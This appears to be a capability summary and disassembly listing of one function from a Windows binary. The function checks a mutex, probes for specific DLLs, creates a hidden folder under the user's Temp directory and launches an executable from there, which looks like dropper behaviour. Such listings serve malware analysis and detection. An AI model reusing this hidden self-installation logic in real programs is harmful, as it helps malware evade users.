Function at 0x1400079f4
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create directory
Create process on windows
Get file attributes
Query environment variable
Set file attributes
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rax - 0x428]
sub rsp, 0x510
mov rax, qword [0x14004c020]
xor rax, rsp
mov qword [rbp + 0x400], rax
lea r8, str.CloseHandleFunctionS
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140007a5a
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.140007474
lea rcx, str.C:WindowsSXIn.dll
xor r15d, r15d
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
or esi, 0xffffffff
lea edi, [r15 + 1]
cmp eax, esi
lea rcx, str.C:WindowsSXIn64.dll
mov ebx, r15d
cmove ebx, edi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, esi
jne 0x140007a8d
add rbx, rdi
lea rcx, str.C:WindowsSxWrapper.dll
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, esi
jne 0x140007aa1
add rbx, rdi
cmp rbx, 3
jne 0x140007fc3
xor edx, edx
lea r8d, [rbx + 0x3d]
lea rcx, [rbp + 0x1a0]
call fcn.140011170
call fcn.1400076f4
mov rdx, rax
lea rcx, [rbp + 0x1a0]
call fcn.14001a9f0
lea r12d, [rbx + 0xc]
mov qword [rbp + 0x30], r15
lea rcx, str._USERPROFILE_AppDataLocalTemp_
mov qword [rbp + 0x38], r12
mov byte [rbp + 0x20], r15b
call fcn.140018cc0
mov r8, rax
lea rdx, str._USERPROFILE_AppDataLocalTemp_
lea rcx, [rbp + 0x20]
call fcn.140004ea8
lea rdx, [rbp + 0x20]
mov qword [rbp + 0x90], r15
lea rcx, [rbp + 0x80]
mov qword [rbp + 0x98], r15
call fcn.1400050e4
lea rcx, [rbp + 0x1a0]
call fcn.140018cc0
mov r8, rax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x20]
call fcn.140004f98
call fcn.140003fc0
test al, al
jne 0x140007fc3
mov edi, 0x104
lea rcx, [rbp + 0x1e0]
mov r8d, edi
xor edx, edx
call fcn.140011170
cmp qword [rbp + 0x38], 0x10
lea rcx, [rbp + 0x20]
mov r8d, edi
lea rdx, [rbp + 0x1e0]
cmovae rcx, qword [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
xor edx, edx
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea edx, [rbx - 1]
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call fcn.1400040a4
test al, al
jne 0x140007fc3
lea rcx, [rbp]
call fcn.1400075ec
lea rbx, str..exe
mov rcx, rbx
call fcn.140018cc0
mov r8, rax
lea rcx, [rbp]
mov rdx, rbx
call fcn.140004f98
lea rcx, str.function
mov qword [rbp + 0x50], r15
mov qword [rbp + 0x58], r12
mov byte [rbp + 0x40], r15b
call fcn.140018cc0
mov r8, rax
lea rdx, str.function
lea rcx, [rbp + 0x40]
call fcn.140004ea8
mov rcx, rbx
call fcn.140018cc0
mov r8, rax
lea rcx, [rbp + 0x40]
mov rdx, rbx
call fcn.140004f98
call fcn.14000406c
test al, al
jne 0x140007fc3
call fcn.140003c24
test eax, eax
je 0x140007c37
call fcn.14000846c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor edx, edx
lea rcx, [rbp + 0x2f0]
mov r8d, 0x105
call fcn.140011170
mov r8d, edi
lea rdx, [rbp + 0x2f0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rcx, [rbp + 0x2f0]
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], r12
mov byte [rbp - 0x60], r15b
call fcn.140018cc0
mov r8, rax
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp - 0x60]
call fcn.140004ea8
lea rcx, [0x140046fb4]
call fcn.140018cc0
cmp qword [rbp - 0x48], 0x10
lea rbx, [rbp - 0x60]
mov rsi, qword [rbp - 0x50]
mov r14, rax
cmovae rbx, qword [rbp - 0x60]
or rdi, 0xffffffffffffffff
test rax, rax
je 0x140007d1e
test rsi, rsi
je 0x140007d1e
xor edx, edx
lea rcx, [rbp + 0xa0]
mov r8d, 0x100
call fcn.140011170
lea rax, [0x140046fb4]
lea rdx, [r14 + rax]
mov rcx, rax
cmp rax, rdx
je 0x140007cf1
movzx eax, byte [rcx]
inc rcx
mov byte [rbp + rax + 0xa0], 1
cmp rcx, rdx
jne 0x140007cde
lea rax, [rsi - 1]
mov rcx, rdi
cmp rax, rdi
cmovb rcx, rax
add rcx, rbx
jmp 0x140007d0c
cmp rcx, rbx
je 0x140007d1e
dec rcx
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0xa0], r15b
je 0x140007d04
sub rcx, rbx
jmp 0x140007d21
mov rcx, rdi
lea eax, [rcx + 1]
mov qword [rbp - 0x10], r15
movsxd rcx, eax
mov qword [rbp - 8], r12
mov byte [rbp - 0x20], r15b
cmp rsi, rcx
jb 0x140007fd7
lfence
mov rax, qword [rbp - 0x50]
lea rdx, [rbp - 0x60]
sub rax, rcx
cmp rax, rdi
cmovb rdi, rax
cmp qword [rbp - 0x48], 0x10
mov r8, rdi
cmovae rdx, qword [rbp - 0x60]
add rdx, rcx
lea rcx, [rbp - 0x20]
call fcn.140004ea8
cmp qword [rbp - 8], 0x10
lea rdx, [rbp - 0x20]
mov r8d, dword [rbp - 0x10]
lea rcx, [rbp + 0x60]
cmovae rdx, qword [rbp - 0x20]
call fcn.140007104
cmp qword [rbp + 0x18], 0x10
lea rcx, [rbp]
lea rdx, [rbp + 0x1e0]
cmovae rcx, qword [rbp]
call fcn.140008250
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x1e0]
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], r12
mov byte [rbp - 0x40], r15b
call fcn.140018cc0
mov r8, rax
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp - 0x40]
call fcn.140004ea8
lea rcx, [0x140046fb4]
call fcn.140018cc0
mov r8, rax
lea rdx, [0x140046fb4]
lea rcx, [rbp - 0x40]
call fcn.140004f98
cmp qword [rbp + 0x18], 0x10
lea rbx, [rbp]
cmovae rbx, qword [rbp]
mov rcx, rbx
call fcn.140018cc0
mov r8, rax
lea rcx, [rbp - 0x40]
mov rdx, rbx
call fcn.140004f98
mov ebx, 0x70
lea rcx, [rsp + 0x30]
mov r8d, ebx
xor edx, edx
call fcn.140011170
cmp qword [rbp - 0x28], 0x10
lea rax, [rbp - 0x40]
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x30], ebx
cmovae rax, qword [rbp - 0x40]
cmp qword [rbp + 0x78], 0x10
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x60]
cmovae rax, qword [rbp + 0x60]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x40], r15
mov dword [rsp + 0x60], 1
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x58], r15
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
call fcn.140007474
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x140007e94
mov rcx, qword [rbp - 0x40]
inc rdx
call fcn.140006580
mov rdx, qword [rbp + 0x78]
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], r12
mov byte [rbp - 0x40], r15b
cmp rdx, 0x10
jb 0x140007eb6
mov rcx, qword [rbp + 0x60]
inc rdx
call fcn.140006580
mov rdx, qword [rbp - 8]
mov qword [rbp + 0x70], r15
mov qword [rbp + 0x78], r12
mov byte [rbp + 0x60], r15b
cmp rdx, 0x10
jb 0x140007ed8
mov rcx, qword [rbp - 0x20]
inc rdx
call fcn.140006580
mov rdx, qword [rbp - 0x48]
mov qword [rbp - 0x10], r15
mov qword [rbp - 8], r12
mov byte [rbp - 0x20], r15b
cmp rdx, 0x10
jb 0x140007efa
mov rcx, qword [rbp - 0x60]
inc rdx
call fcn.140006580
mov rdx, qword [rbp + 0x58]
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], r12
mov byte [rbp - 0x60], r15b
cmp rdx, 0x10
jb 0x140007f1c
mov rcx, qword [rbp + 0x40]
inc rdx
call fcn.140006580
mov rdx, qword [rbp + 0x18]
mov qword [rbp + 0x50], r15
mov qword [rbp + 0x58], r12
mov byte [rbp + 0x40], r15b
cmp rdx, 0x10
jb 0x140007f3e
mov rcx, qword [rbp]
inc rdx
call fcn.140006580
mov rdx, qword [rbp + 0x98]
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x18], r12
mov byte [rbp], r15b
cmp rdx, 0x10
jb 0x140007f66
mov rcx, qword [rbp + 0x80]
inc rdx
call fcn.140006580
mov rdx, qword [rbp + 0x38]
mov qword [rbp + 0x90], r15
mov qword [rbp + 0x98], r12
mov byte [rbp + 0x80], r15b
cmp rdx, 0x10
jb 0x140007f91
mov rcx, qword [rbp + 0x20]
inc rdx
call fcn.140006580
xor eax, eax
mov rcx, qword [rbp + 0x400]
xor rcx, rsp
call fcn.14000cc60
lea r11, [rsp + 0x510]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.140006060
int3